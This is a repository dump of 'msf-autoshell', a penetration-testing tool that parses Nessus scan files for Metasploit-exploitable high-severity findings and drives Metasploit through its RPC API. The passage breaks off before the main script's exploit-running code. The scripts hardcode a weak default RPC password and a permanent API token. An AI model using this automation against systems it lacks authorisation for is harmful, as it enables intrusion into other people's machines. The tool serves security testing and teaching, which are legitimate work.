├── Pipfile
├── msf-autoshell-boilerplate.py
├── README.md
├── .gitignore
├── lib
    └── msfrpc.py
├── msf-autoshell-parse-nessus.py
├── msf-autoshell-msfrpc-connect.py
├── Pipfile.lock
├── msf-autoshell.py
├── LICENSE
└── example-scan1.nessus


/Pipfile:
--------------------------------------------------------------------------------
 1 | [[source]]
 2 | url = "https://pypi.org/simple"
 3 | verify_ssl = true
 4 | name = "pypi"
 5 | 
 6 | [dev-packages]
 7 | 
 8 | [packages]
 9 | python-libnessus = "*"
10 | ipython = "*"
11 | netifaces = "*"
12 | netaddr = "*"
13 | msgpack = "*"
14 | requests = "*"
15 | 
16 | [requires]
17 | python_version = "3.6"
18 | 


--------------------------------------------------------------------------------
/msf-autoshell-boilerplate.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python3
 2 | 
 3 | import re
 4 | import sys
 5 | import argparse
 6 | import netifaces
 7 | from IPython import embed
 8 | from lib.msfrpc import Msfrpc
 9 | from libnessus.parser import NessusParser
10 | from netaddr import IPNetwork, AddrFormatError
11 | 
12 | def parse_args():
13 |     '''
14 |     Parse arguments
15 |     '''
16 |     parser = argparse.ArgumentParser()
17 |     parser.add_argument("-n", "--nessus", help="Nessus .nessus file", required=True)
18 |     return parser.parse_args()
19 | 
20 | def main():
21 |     print('[*] Entered main function')
22 |     embed()
23 | 
24 | if __name__ == '__main__':
25 |     args = parse_args() # This makes the 'args' variable global
26 |     main()
27 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | msf-autoshell
 2 | ------
 3 | Give it a .nessus file and it'll get you Metasploit shells. I've included the early and incomplete programs to make it easier for people who want to learn how to use the python-libnessus and msfrpc libraries. 
 4 | * `msf-autoshell-boilerplate.py` was the first step; a simple boilerplate program with some boring stuff filled out. 
 5 | * `msf-autoshell-parse-nessus.py` was the next step and all it does is parse the .nessus file and grab some info off the parsed objects. 
 6 | * `msf-autoshell-msfrpc-connect.py` shows how to connect to the Metasploit RPC server and some examples of interacting with it. 
 7 | * Finally, `msf-autoshell.py` is the final script with all the Metasploit logic code for running modules in it.
 8 | 
 9 | #### Installation
10 | This install is only tested on Kali.
11 | 
12 | ```
13 | git clone https://github.com/DanMcInerney/msf-autoshell
14 | cd msf-autoshell
15 | pipenv install --three
16 | pipenv shell
17 | 
18 | In a new terminal: 
19 | > msfconsole
20 | msf > load msgrpc Pass=123
21 | ```
22 | 
23 | #### Usage
24 | ```python msf-autoshell.py -n /path/to/nessus/file.nessus```
25 | 
26 | ### Credits
27 | Thanks to Coalfire for some development time.
28 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
  1 | # Byte-compiled / optimized / DLL files
  2 | __pycache__/
  3 | *.py[cod]
  4 | *$py.class
  5 | *.swp
  6 | 
  7 | # C extensions
  8 | *.so
  9 | 
 10 | # Distribution / packaging
 11 | .Python
 12 | build/
 13 | develop-eggs/
 14 | dist/
 15 | downloads/
 16 | eggs/
 17 | .eggs/
 18 | lib/
 19 | lib64/
 20 | parts/
 21 | sdist/
 22 | var/
 23 | wheels/
 24 | *.egg-info/
 25 | .installed.cfg
 26 | *.egg
 27 | MANIFEST
 28 | 
 29 | # PyInstaller
 30 | #  Usually these files are written by a python script from a template
 31 | #  before PyInstaller builds the exe, so as to inject date/other infos into it.
 32 | *.manifest
 33 | *.spec
 34 | 
 35 | # Installer logs
 36 | pip-log.txt
 37 | pip-delete-this-directory.txt
 38 | 
 39 | # Unit test / coverage reports
 40 | htmlcov/
 41 | .tox/
 42 | .coverage
 43 | .coverage.*
 44 | .cache
 45 | nosetests.xml
 46 | coverage.xml
 47 | *.cover
 48 | .hypothesis/
 49 | .pytest_cache/
 50 | 
 51 | # Translations
 52 | *.mo
 53 | *.pot
 54 | 
 55 | # Django stuff:
 56 | *.log
 57 | local_settings.py
 58 | db.sqlite3
 59 | 
 60 | # Flask stuff:
 61 | instance/
 62 | .webassets-cache
 63 | 
 64 | # Scrapy stuff:
 65 | .scrapy
 66 | 
 67 | # Sphinx documentation
 68 | docs/_build/
 69 | 
 70 | # PyBuilder
 71 | target/
 72 | 
 73 | # Jupyter Notebook
 74 | .ipynb_checkpoints
 75 | 
 76 | # pyenv
 77 | .python-version
 78 | 
 79 | # celery beat schedule file
 80 | celerybeat-schedule
 81 | 
 82 | # SageMath parsed files
 83 | *.sage.py
 84 | 
 85 | # Environments
 86 | .env
 87 | .venv
 88 | env/
 89 | venv/
 90 | ENV/
 91 | env.bak/
 92 | venv.bak/
 93 | 
 94 | # Spyder project settings
 95 | .spyderproject
 96 | .spyproject
 97 | 
 98 | # Rope project settings
 99 | .ropeproject
100 | 
101 | # mkdocs documentation
102 | /site
103 | 
104 | # mypy
105 | .mypy_cache/
106 | 


--------------------------------------------------------------------------------
/lib/msfrpc.py:
--------------------------------------------------------------------------------
 1 | #! /usr/bin/env python3
 2 | 
 3 | # MSF-RPC - A  Python library to facilitate MSG-RPC communication with Metasploit
 4 | 
 5 | # Copyright (c) 2014-2016 Ryan Linn  - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com
 6 | #
 7 | # This program is free software; you can redistribute it and/or
 8 | # modify it under the terms of the GNU General Public License as
 9 | # published by the Free Software Foundation; either version 3 of the
10 | # License, or (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful, but
13 | # WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
15 | # General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 | #
22 | 
23 | import msgpack
24 | import requests
25 | 
26 | 
27 | class MsfError(Exception):
28 |     def __init__(self, msg):
29 |         self.msg = msg
30 | 
31 |     def __str__(self):
32 |         return repr(self.msg)
33 | 
34 | 
35 | class MsfAuthError(MsfError):
36 |     def __init__(self, msg):
37 |         self.msg = msg
38 | 
39 | 
40 | class Msfrpc:
41 | 
42 |     def __init__(self, opts=[]):
43 |         self.host = opts.get('host') or "127.0.0.1"
44 |         self.port = opts.get('port') or "55552"
45 |         self.uri = opts.get('uri') or "/api/"
46 |         self.ssl = opts.get('ssl') or False
47 |         self.token = None
48 |         self.headers = {"Content-type": "binary/message-pack"}
49 | 
50 |     def encode(self, data):
51 |         return msgpack.packb(data)
52 | 
53 |     def decode(self, data):
54 |         return msgpack.unpackb(data)
55 | 
56 |     def call(self, method, opts=[]):
57 |         if method != 'auth.login':
58 |             if self.token is None:
59 |                 raise MsfAuthError("MsfRPC: Not Authenticated")
60 | 
61 |         if method != "auth.login":
62 |             opts.insert(0, self.token)
63 | 
64 |         if self.ssl is True:
65 |             url = "https://%s:%s%s" % (self.host, self.port, self.uri)
66 |         else:
67 |             url = "http://%s:%s%s" % (self.host, self.port, self.uri)
68 | 
69 |         opts.insert(0, method)
70 |         payload = self.encode(opts)
71 | 
72 |         r = requests.post(url, data=payload, headers=self.headers)
73 | 
74 |         opts[:] = []  # Clear opts list
75 | 
76 |         return self.decode(r.content)
77 | 
78 |     def login(self, user, password):
79 |         auth = self.call("auth.login", [user, password])
80 |         try:
81 |             if auth[b'result'] == b'success':
82 |                 self.token = auth[b'token']
83 |                 return True
84 |         except:
85 |             raise MsfAuthError("MsfRPC: Authentication failed")
86 | 


--------------------------------------------------------------------------------
/msf-autoshell-parse-nessus.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python3
  2 | 
  3 | import re
  4 | import sys
  5 | import argparse
  6 | import netifaces
  7 | import time
  8 | from IPython import embed
  9 | from lib.msfrpc import Msfrpc
 10 | from libnessus.parser import NessusParser
 11 | from netaddr import IPNetwork, AddrFormatError
 12 | 
 13 | def parse_args():
 14 |     '''
 15 |     Parse arguments
 16 |     '''
 17 |     parser = argparse.ArgumentParser()
 18 |     parser.add_argument("-n", "--nessus", help="Nessus .nessus file", required=True)
 19 |     parser.add_argument("-u", "--user", default='msf', help="Username for msfrpc")
 20 |     parser.add_argument("-p", "--password", default='123', help="Password for msfrpc")
 21 |     return parser.parse_args()
 22 | 
 23 | 
 24 | def parse_nessus():
 25 |     '''
 26 |     Parse .nessus file
 27 |     '''
 28 |     report = NessusParser.parse_fromfile(args.nessus)
 29 |     return report
 30 | 
 31 | 
 32 | def get_nes_exploits(report):
 33 |     '''
 34 |     Read .nessus file for vulnerabilities that Metasploit can exploit
 35 |     '''
 36 |     # This will eventually be: exploits = [(msf_mod, ip, port, operating_sys), (msf_mod, ip, port, operating_sys)]
 37 |     exploits = []
 38 | 
 39 |     for host in report.hosts:
 40 |         os_type = get_os_type(host)
 41 |         
 42 |         if not os_type:
 43 |             continue
 44 | 
 45 |         report_items = host.get_report_items
 46 |         for x in report_items:
 47 |             vuln_info = x.get_vuln_info
 48 |             severity = x.severity
 49 |             # Make sure we're just getting highs and criticals
 50 |             if int(severity) > 2:
 51 |                 exploit_data = get_exploit_data(host, vuln_info, severity, os_type)
 52 |                 if exploit_data:
 53 |                     exploits.append(exploit_data)
 54 | 
 55 |     if len(exploits) > 0:
 56 |         return exploits
 57 |     else:
 58 |         sys.exit('[-] No vulnerable hosts found')
 59 | 
 60 | 
 61 | def get_os_type(host):
 62 |     '''
 63 |     Converts Nessus operating system info to MSF exploit path label
 64 |     '''
 65 |     if 'operating-system' in host.get_host_properties:
 66 |         os_type = host.get_host_properties['operating-system']
 67 |         if 'windows' in os_type.lower():
 68 |             os_type = 'windows'
 69 |         elif 'linux' in os_type.lower():
 70 |             os_type = 'linux'
 71 |         elif 'solaris' in os_type.lower():
 72 |             os_type = 'solaris'
 73 |         elif 'android' in os_type.lower():
 74 |             os_type = 'android'
 75 |         elif 'unix' in os_type.lower():
 76 |             os_type = 'unix'
 77 |         elif 'osx' in os_type.lower():
 78 |             os_type = 'osx'
 79 | 
 80 |         return os_type
 81 | 
 82 |     else:
 83 |         return
 84 | 
 85 | 
 86 | def get_exploit_data(host, vuln_info, severity, operating_sys):
 87 |     '''
 88 |     Gather the exploitable vulnerability info
 89 |     '''
 90 |     if 'metasploit_name' in vuln_info:
 91 |         # Get module name, IP and port
 92 |         ip = host.address
 93 |         port = vuln_info['port']
 94 |         msf_mod = vuln_info['metasploit_name']
 95 |         exploit_data = (msf_mod, ip, port, operating_sys)
 96 |         print('[+] Found vulnerable host! {}:{} - {}'.format(ip, port, msf_mod))
 97 | 
 98 |         return exploit_data
 99 | 
100 | 
101 | def main():
102 |     report = parse_nessus()
103 |     nes_exploits = get_nes_exploits(report)
104 |     print('')
105 |     print('[+] Nessus exploit data:')
106 |     for x in nes_exploits:
107 |         print(x)
108 |     print('')
109 |     print('[*] Try running "dir(report)" in the embedded shell to see the methods of the parsed Nessus report object')
110 |     print('[*] Example method execution: report.hosts\n')
111 |     embed()
112 | 
113 | if __name__ == '__main__':
114 |     args = parse_args() # This makes the 'args' variable global
115 |     main()
116 | 


--------------------------------------------------------------------------------
/msf-autoshell-msfrpc-connect.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python3
  2 | 
  3 | import re
  4 | import sys
  5 | import argparse
  6 | import netifaces
  7 | import time
  8 | from IPython import embed
  9 | from lib.msfrpc import Msfrpc
 10 | from libnessus.parser import NessusParser
 11 | from netaddr import IPNetwork, AddrFormatError
 12 | 
 13 | def parse_args():
 14 |     '''
 15 |     Parse arguments
 16 |     '''
 17 |     parser = argparse.ArgumentParser()
 18 |     parser.add_argument("-n", "--nessus", help="Nessus .nessus file", required=True)
 19 |     parser.add_argument("-u", "--user", default='msf', help="Username for msfrpc")
 20 |     parser.add_argument("-p", "--password", default='123', help="Password for msfrpc")
 21 |     return parser.parse_args()
 22 | 
 23 | 
 24 | def parse_nessus():
 25 |     '''
 26 |     Parse .nessus file
 27 |     '''
 28 |     report = NessusParser.parse_fromfile(args.nessus)
 29 |     return report
 30 | 
 31 | 
 32 | def get_nes_exploits(report):
 33 |     '''
 34 |     Read .nessus file for vulnerabilities that Metasploit can exploit
 35 |     '''
 36 |     # This will eventually be: exploits = [(msf_mod, ip, port, operating_sys), (msf_mod, ip, port, operating_sys)]
 37 |     exploits = []
 38 | 
 39 |     for host in report.hosts:
 40 |         os_type = get_os_type(host)
 41 |         
 42 |         if not os_type:
 43 |             continue
 44 | 
 45 |         report_items = host.get_report_items
 46 |         for x in report_items:
 47 |             vuln_info = x.get_vuln_info
 48 |             severity = x.severity
 49 |             # Make sure we're just getting highs and criticals
 50 |             if int(severity) > 2:
 51 |                 exploit_data = get_exploit_data(host, vuln_info, severity, os_type)
 52 |                 if exploit_data:
 53 |                     exploits.append(exploit_data)
 54 | 
 55 |     if len(exploits) > 0:
 56 |         return exploits
 57 |     else:
 58 |         sys.exit('[-] No vulnerable hosts found')
 59 | 
 60 | 
 61 | def get_os_type(host):
 62 |     '''
 63 |     Converts Nessus operating system info to MSF exploit path label
 64 |     '''
 65 |     if 'operating-system' in host.get_host_properties:
 66 |         os_type = host.get_host_properties['operating-system']
 67 |         if 'windows' in os_type.lower():
 68 |             os_type = 'windows'
 69 |         elif 'linux' in os_type.lower():
 70 |             os_type = 'linux'
 71 |         elif 'solaris' in os_type.lower():
 72 |             os_type = 'solaris'
 73 |         elif 'android' in os_type.lower():
 74 |             os_type = 'android'
 75 |         elif 'unix' in os_type.lower():
 76 |             os_type = 'unix'
 77 |         elif 'osx' in os_type.lower():
 78 |             os_type = 'osx'
 79 | 
 80 |         return os_type
 81 | 
 82 |     else:
 83 |         return
 84 | 
 85 | 
 86 | def get_exploit_data(host, vuln_info, severity, operating_sys):
 87 |     '''
 88 |     Gather the exploitable vulnerability info
 89 |     '''
 90 |     if 'metasploit_name' in vuln_info:
 91 |         # Get module name, IP and port
 92 |         ip = host.address
 93 |         port = vuln_info['port']
 94 |         msf_mod = vuln_info['metasploit_name']
 95 |         exploit_data = (msf_mod, ip, port, operating_sys)
 96 |         print('[+] Found vulnerable host! {}:{} - {}'.format(ip, port, msf_mod))
 97 | 
 98 |         return exploit_data
 99 | 
100 | 
101 | def get_msfrpc_client():
102 |     '''
103 |     Connect to MSF RPC API with permanent token
104 |     '''
105 |     client = Msfrpc({})
106 |     client.login(args.user, args.password)
107 |     client.call('auth.token_add', ['hexacon']) # create permanent API token
108 |     client.token = 'hexacon'
109 | 
110 |     return client
111 | 
112 | 
113 | def get_console_id(client):
114 |     '''
115 |     Get or create a metasploit console for running commands
116 |     '''
117 |     c_ids = [x[b'id'] for x in client.call('console.list')[b'consoles']]
118 | 
119 |     if len(c_ids) == 0:
120 |         client.call('console.create')
121 |         c_ids = [x[b'id'] for x in client.call('console.list')[b'consoles']] # Wait for response
122 |         time.sleep(2)
123 | 
124 |     # Get the latest console
125 |     c_id = c_ids[-1].decode('utf8')
126 | 
127 |     # Clear console output
128 |     client.call('console.read', [c_id])[b'data'].decode('utf8').splitlines()
129 | 
130 |     return c_id
131 | 
132 | 
133 | def main():
134 |     report = parse_nessus()
135 |     nes_exploits = get_nes_exploits(report)
136 |     client = get_msfrpc_client()
137 |     console_id = get_console_id(client)
138 |     print('\n[*] Try running "dir(client)" in the embedded shell to see the methods of the MSF RPC client')
139 |     print('[*] Example method execution: client.host\n')
140 | 
141 |     embed()
142 | 
143 | if __name__ == '__main__':
144 |     args = parse_args() # This makes the 'args' variable global
145 |     main()
146 | 


--------------------------------------------------------------------------------
/Pipfile.lock:
--------------------------------------------------------------------------------
  1 | {
  2 |     "_meta": {
  3 |         "hash": {
  4 |             "sha256": "091807946bfa35bbdae1e9aba902c04072792664e9c54e92f11841a373b7947e"
  5 |         },
  6 |         "pipfile-spec": 6,
  7 |         "requires": {
  8 |             "python_version": "3.6"
  9 |         },
 10 |         "sources": [
 11 |             {
 12 |                 "name": "pypi",
 13 |                 "url": "https://pypi.org/simple",
 14 |                 "verify_ssl": true
 15 |             }
 16 |         ]
 17 |     },
 18 |     "default": {
 19 |         "backcall": {
 20 |             "hashes": [
 21 |                 "sha256:38ecd85be2c1e78f77fd91700c76e14667dc21e2713b63876c0eb901196e01e4",
 22 |                 "sha256:bbbf4b1e5cd2bdb08f915895b51081c041bac22394fdfcfdfbe9f14b77c08bf2"
 23 |             ],
 24 |             "version": "==0.1.0"
 25 |         },
 26 |         "certifi": {
 27 |             "hashes": [
 28 |                 "sha256:e4f3620cfea4f83eedc95b24abd9cd56f3c4b146dd0177e83a21b4eb49e21e50",
 29 |                 "sha256:fd7c7c74727ddcf00e9acd26bba8da604ffec95bf1c2144e67aff7a8b50e6cef"
 30 |             ],
 31 |             "version": "==2019.9.11"
 32 |         },
 33 |         "chardet": {
 34 |             "hashes": [
 35 |                 "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
 36 |                 "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
 37 |             ],
 38 |             "version": "==3.0.4"
 39 |         },
 40 |         "decorator": {
 41 |             "hashes": [
 42 |                 "sha256:86156361c50488b84a3f148056ea716ca587df2f0de1d34750d35c21312725de",
 43 |                 "sha256:f069f3a01830ca754ba5258fde2278454a0b5b79e0d7f5c13b3b97e57d4acff6"
 44 |             ],
 45 |             "version": "==4.4.0"
 46 |         },
 47 |         "idna": {
 48 |             "hashes": [
 49 |                 "sha256:156a6814fb5ac1fc6850fb002e0852d56c0c8d2531923a51032d1b70760e186e",
 50 |                 "sha256:684a38a6f903c1d71d6d5fac066b58d7768af4de2b832e426ec79c30daa94a16"
 51 |             ],
 52 |             "version": "==2.7"
 53 |         },
 54 |         "ipython": {
 55 |             "hashes": [
 56 |                 "sha256:a5781d6934a3341a1f9acb4ea5acdc7ea0a0855e689dbe755d070ca51e995435",
 57 |                 "sha256:b10a7ddd03657c761fc503495bc36471c8158e3fc948573fb9fe82a7029d8efd"
 58 |             ],
 59 |             "index": "pypi",
 60 |             "version": "==7.1.1"
 61 |         },
 62 |         "ipython-genutils": {
 63 |             "hashes": [
 64 |                 "sha256:72dd37233799e619666c9f639a9da83c34013a73e8bbc79a7a6348d93c61fab8",
 65 |                 "sha256:eb2e116e75ecef9d4d228fdc66af54269afa26ab4463042e33785b887c628ba8"
 66 |             ],
 67 |             "version": "==0.2.0"
 68 |         },
 69 |         "jedi": {
 70 |             "hashes": [
 71 |                 "sha256:786b6c3d80e2f06fd77162a07fed81b8baa22dde5d62896a790a331d6ac21a27",
 72 |                 "sha256:ba859c74fa3c966a22f2aeebe1b74ee27e2a462f56d3f5f7ca4a59af61bfe42e"
 73 |             ],
 74 |             "version": "==0.15.1"
 75 |         },
 76 |         "jsonpickle": {
 77 |             "hashes": [
 78 |                 "sha256:d0c5a4e6cb4e58f6d5406bdded44365c2bcf9c836c4f52910cc9ba7245a59dc2",
 79 |                 "sha256:d3e922d781b1d0096df2dad89a2e1f47177d7969b596aea806a9d91b4626b29b"
 80 |             ],
 81 |             "version": "==1.2"
 82 |         },
 83 |         "msgpack": {
 84 |             "hashes": [
 85 |                 "sha256:0b3b1773d2693c70598585a34ca2715873ba899565f0a7c9a1545baef7e7fbdc",
 86 |                 "sha256:0bae5d1538c5c6a75642f75a1781f3ac2275d744a92af1a453c150da3446138b",
 87 |                 "sha256:0ee8c8c85aa651be3aa0cd005b5931769eaa658c948ce79428766f1bd46ae2c3",
 88 |                 "sha256:1369f9edba9500c7a6489b70fdfac773e925342f4531f1e3d4c20ac3173b1ae0",
 89 |                 "sha256:22d9c929d1d539f37da3d1b0e16270fa9d46107beab8c0d4d2bddffffe895cee",
 90 |                 "sha256:2ff43e3247a1e11d544017bb26f580a68306cec7a6257d8818893c1fda665f42",
 91 |                 "sha256:31a98047355d34d047fcdb55b09cb19f633cf214c705a765bd745456c142130c",
 92 |                 "sha256:8767eb0032732c3a0da92cbec5ac186ef89a3258c6edca09161472ca0206c45f",
 93 |                 "sha256:8acc8910218555044e23826980b950e96685dc48124a290c86f6f41a296ea172",
 94 |                 "sha256:ab189a6365be1860a5ecf8159c248f12d33f79ea799ae9695fa6a29896dcf1d4",
 95 |                 "sha256:cfd6535feb0f1cf1c7cdb25773e965cc9f92928244a8c3ef6f8f8a8e1f7ae5c4",
 96 |                 "sha256:e274cd4480d8c76ec467a85a9c6635bbf2258f0649040560382ab58cabb44bcf",
 97 |                 "sha256:f86642d60dca13e93260187d56c2bef2487aa4d574a669e8ceefcf9f4c26fd00",
 98 |                 "sha256:f8a57cbda46a94ed0db55b73e6ab0c15e78b4ede8690fa491a0e55128d552bb0",
 99 |                 "sha256:fcea97a352416afcbccd7af9625159d80704a25c519c251c734527329bb20d0e"
100 |             ],
101 |             "index": "pypi",
102 |             "version": "==0.5.6"
103 |         },
104 |         "netaddr": {
105 |             "hashes": [
106 |                 "sha256:38aeec7cdd035081d3a4c306394b19d677623bf76fa0913f6695127c7753aefd",
107 |                 "sha256:56b3558bd71f3f6999e4c52e349f38660e54a7a8a9943335f73dfc96883e08ca"
108 |             ],
109 |             "index": "pypi",
110 |             "version": "==0.7.19"
111 |         },
112 |         "netifaces": {
113 |             "hashes": [
114 |                 "sha256:0083ff8d89c559d0da0811c4930cf36e4945da0f03749e0f108678098d7d1607",
115 |                 "sha256:179f2463469fe69c829c96c7b332c7fd3f01652311e36ae11e409e5b34eb9dad",
116 |                 "sha256:19df6feff2af7a9179e42afdd01d79616d85b7ff4401b55ffce2df29d512a017",
117 |                 "sha256:1a4082a52f521ceeaf3d0ff25c61a06d46444f3578f487935652ecc93becf538",
118 |                 "sha256:1edeea7d739b1d716d15214039386e999f2e374aaeac0703092132b4e55ba461",
119 |                 "sha256:2acb23ca092cc53b2b1f374132bbef5dd843767f6b10d31024f958474a1dfe96",
120 |                 "sha256:38969c101f1e61c2a53af6a7b635f63e81085ae87413f1f5551a4d7057f5f773",
121 |                 "sha256:4817871b226082600b64578549b9932bb07c1a42e9311ddd7c9dad08ff1fb22f",
122 |                 "sha256:4bb6b02b7c485a595a9d75346df3a77fcaa12d2352437c49c2d73ed968572d72",
123 |                 "sha256:674498dad41dacd86ec82e9e1793f9d8716755085c3776f051a266b1634a0b60",
124 |                 "sha256:7ea8eb1e824f74c161396f0d6d76fa3943462ee9a4629c387c10399d2aee058c",
125 |                 "sha256:8a69dc2743dcbb9b87fa3453820852f0feabc17b03d3841619e8e63f5d3902d5",
126 |                 "sha256:9cf8cb2de7524c34808e6111dfb9f89e3b7c568e6953b3e02b8397447a6d8303",
127 |                 "sha256:a77263e046636a761a2c3eeb0a56b5f8fa64f865efec91a9be008a46412b4ddd",
128 |                 "sha256:aea569ce1a5a75b010758097199f84d9a3a109a696473c635bcf82f8a43cc551",
129 |                 "sha256:bd590fcb75421537d4149825e1e63cca225fd47dad861710c46bd1cb329d8cbd",
130 |                 "sha256:e1037cfad0e99a23fb4829f40302f3696395358950ba9f0315363a0e1eb04af6",
131 |                 "sha256:e6d52aee254f9cf6192b54c156c67d54dcf451bec6781580844af892e4bf36bb",
132 |                 "sha256:e76d38d9cff51ecf9fd5b8d0adf63f7b8875e1ac8548ccb52264939e308b771e"
133 |             ],
134 |             "index": "pypi",
135 |             "version": "==0.10.7"
136 |         },
137 |         "parso": {
138 |             "hashes": [
139 |                 "sha256:63854233e1fadb5da97f2744b6b24346d2750b85965e7e399bec1620232797dc",
140 |                 "sha256:666b0ee4a7a1220f65d367617f2cd3ffddff3e205f3f16a0284df30e774c2a9c"
141 |             ],
142 |             "version": "==0.5.1"
143 |         },
144 |         "pexpect": {
145 |             "hashes": [
146 |                 "sha256:2094eefdfcf37a1fdbfb9aa090862c1a4878e5c7e0e7e7088bdb511c558e5cd1",
147 |                 "sha256:9e2c1fd0e6ee3a49b28f95d4b33bc389c89b20af6a1255906e90ff1262ce62eb"
148 |             ],
149 |             "markers": "sys_platform != 'win32'",
150 |             "version": "==4.7.0"
151 |         },
152 |         "pickleshare": {
153 |             "hashes": [
154 |                 "sha256:87683d47965c1da65cdacaf31c8441d12b8044cdec9aca500cd78fc2c683afca",
155 |                 "sha256:9649af414d74d4df115d5d718f82acb59c9d418196b7b4290ed47a12ce62df56"
156 |             ],
157 |             "version": "==0.7.5"
158 |         },
159 |         "prompt-toolkit": {
160 |             "hashes": [
161 |                 "sha256:46642344ce457641f28fc9d1c9ca939b63dadf8df128b86f1b9860e59c73a5e4",
162 |                 "sha256:e7f8af9e3d70f514373bf41aa51bc33af12a6db3f71461ea47fea985defb2c31",
163 |                 "sha256:f15af68f66e664eaa559d4ac8a928111eebd5feda0c11738b5998045224829db"
164 |             ],
165 |             "version": "==2.0.10"
166 |         },
167 |         "ptyprocess": {
168 |             "hashes": [
169 |                 "sha256:923f299cc5ad920c68f2bc0bc98b75b9f838b93b599941a6b63ddbc2476394c0",
170 |                 "sha256:d7cc528d76e76342423ca640335bd3633420dc1366f258cb31d05e865ef5ca1f"
171 |             ],
172 |             "version": "==0.6.0"
173 |         },
174 |         "pygments": {
175 |             "hashes": [
176 |                 "sha256:71e430bc85c88a430f000ac1d9b331d2407f681d6f6aec95e8bcfbc3df5b0127",
177 |                 "sha256:881c4c157e45f30af185c1ffe8d549d48ac9127433f2c380c24b84572ad66297"
178 |             ],
179 |             "version": "==2.4.2"
180 |         },
181 |         "python-libnessus": {
182 |             "hashes": [
183 |                 "sha256:4dcec48009ea797a4a39b26a89d373d20ecb41e40bc95fe165c415b62585618a"
184 |             ],
185 |             "index": "pypi",
186 |             "version": "==1.0.0.3"
187 |         },
188 |         "requests": {
189 |             "hashes": [
190 |                 "sha256:99dcfdaaeb17caf6e526f32b6a7b780461512ab3f1d992187801694cba42770c",
191 |                 "sha256:a84b8c9ab6239b578f22d1c21d51b696dcfe004032bb80ea832398d6909d7279"
192 |             ],
193 |             "index": "pypi",
194 |             "version": "==2.20.0"
195 |         },
196 |         "six": {
197 |             "hashes": [
198 |                 "sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c",
199 |                 "sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73"
200 |             ],
201 |             "version": "==1.12.0"
202 |         },
203 |         "traitlets": {
204 |             "hashes": [
205 |                 "sha256:70b4c6a1d9019d7b4f6846832288f86998aa3b9207c6821f3578a6a6a467fe44",
206 |                 "sha256:d023ee369ddd2763310e4c3eae1ff649689440d4ae59d7485eb4cfbbe3e359f7"
207 |             ],
208 |             "version": "==4.3.3"
209 |         },
210 |         "urllib3": {
211 |             "hashes": [
212 |                 "sha256:4c291ca23bbb55c76518905869ef34bdd5f0e46af7afe6861e8375643ffee1a0",
213 |                 "sha256:9a247273df709c4fedb38c711e44292304f73f39ab01beda9f6b9fc375669ac3"
214 |             ],
215 |             "index": "pypi",
216 |             "version": "==1.24.2"
217 |         },
218 |         "wcwidth": {
219 |             "hashes": [
220 |                 "sha256:3df37372226d6e63e1b1e1eda15c594bca98a22d33a23832a90998faa96bc65e",
221 |                 "sha256:f4ebe71925af7b40a864553f761ed559b43544f8f71746c2d756c7fe788ade7c"
222 |             ],
223 |             "version": "==0.1.7"
224 |         }
225 |     },
226 |     "develop": {}
227 | }
228 | 


--------------------------------------------------------------------------------
/msf-autoshell.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python3
  2 | 
  3 | import re
  4 | import sys
  5 | import argparse
  6 | import netifaces
  7 | import time
  8 | from IPython import embed
  9 | from lib.msfrpc import Msfrpc
 10 | from libnessus.parser import NessusParser
 11 | from netaddr import IPNetwork, AddrFormatError
 12 | 
 13 | def parse_args():
 14 |     '''
 15 |     Parse arguments
 16 |     '''
 17 |     parser = argparse.ArgumentParser()
 18 |     parser.add_argument("-n", "--nessus", help="Nessus .nessus file", required=True)
 19 |     parser.add_argument("-u", "--user", default='msf', help="Username for msfrpc")
 20 |     parser.add_argument("-p", "--password", default='123', help="Password for msfrpc")
 21 |     return parser.parse_args()
 22 | 
 23 | 
 24 | def parse_nessus():
 25 |     '''
 26 |     Parse .nessus file
 27 |     '''
 28 |     report = NessusParser.parse_fromfile(args.nessus)
 29 |     return report
 30 | 
 31 | 
 32 | def get_nes_exploits(report):
 33 |     '''
 34 |     Read .nessus file for vulnerabilities that Metasploit can exploit
 35 |     '''
 36 |     # This will eventually be: exploits = [(msf_mod, ip, port, operating_sys), (msf_mod, ip, port, operating_sys)]
 37 |     exploits = []
 38 | 
 39 |     for host in report.hosts:
 40 |         os_type = get_os_type(host)
 41 |         
 42 |         if not os_type:
 43 |             continue
 44 | 
 45 |         report_items = host.get_report_items
 46 |         for x in report_items:
 47 |             vuln_info = x.get_vuln_info
 48 |             severity = x.severity
 49 |             # Make sure we're just getting highs and criticals
 50 |             if int(severity) > 2:
 51 |                 exploit_data = get_exploit_data(host, vuln_info, severity, os_type)
 52 |                 if exploit_data:
 53 |                     exploits.append(exploit_data)
 54 | 
 55 |     if len(exploits) > 0:
 56 |         return exploits
 57 |     else:
 58 |         sys.exit('[-] No vulnerable hosts found')
 59 | 
 60 | 
 61 | def get_os_type(host):
 62 |     '''
 63 |     Converts Nessus operating system info to MSF exploit path label
 64 |     '''
 65 |     if 'operating-system' in host.get_host_properties:
 66 |         os_type = host.get_host_properties['operating-system']
 67 |         if 'windows' in os_type.lower():
 68 |             os_type = 'windows'
 69 |         elif 'linux' in os_type.lower():
 70 |             os_type = 'linux'
 71 |         elif 'solaris' in os_type.lower():
 72 |             os_type = 'solaris'
 73 |         elif 'android' in os_type.lower():
 74 |             os_type = 'android'
 75 |         elif 'unix' in os_type.lower():
 76 |             os_type = 'unix'
 77 |         elif 'osx' in os_type.lower():
 78 |             os_type = 'osx'
 79 | 
 80 |         return os_type
 81 | 
 82 |     else:
 83 |         return
 84 | 
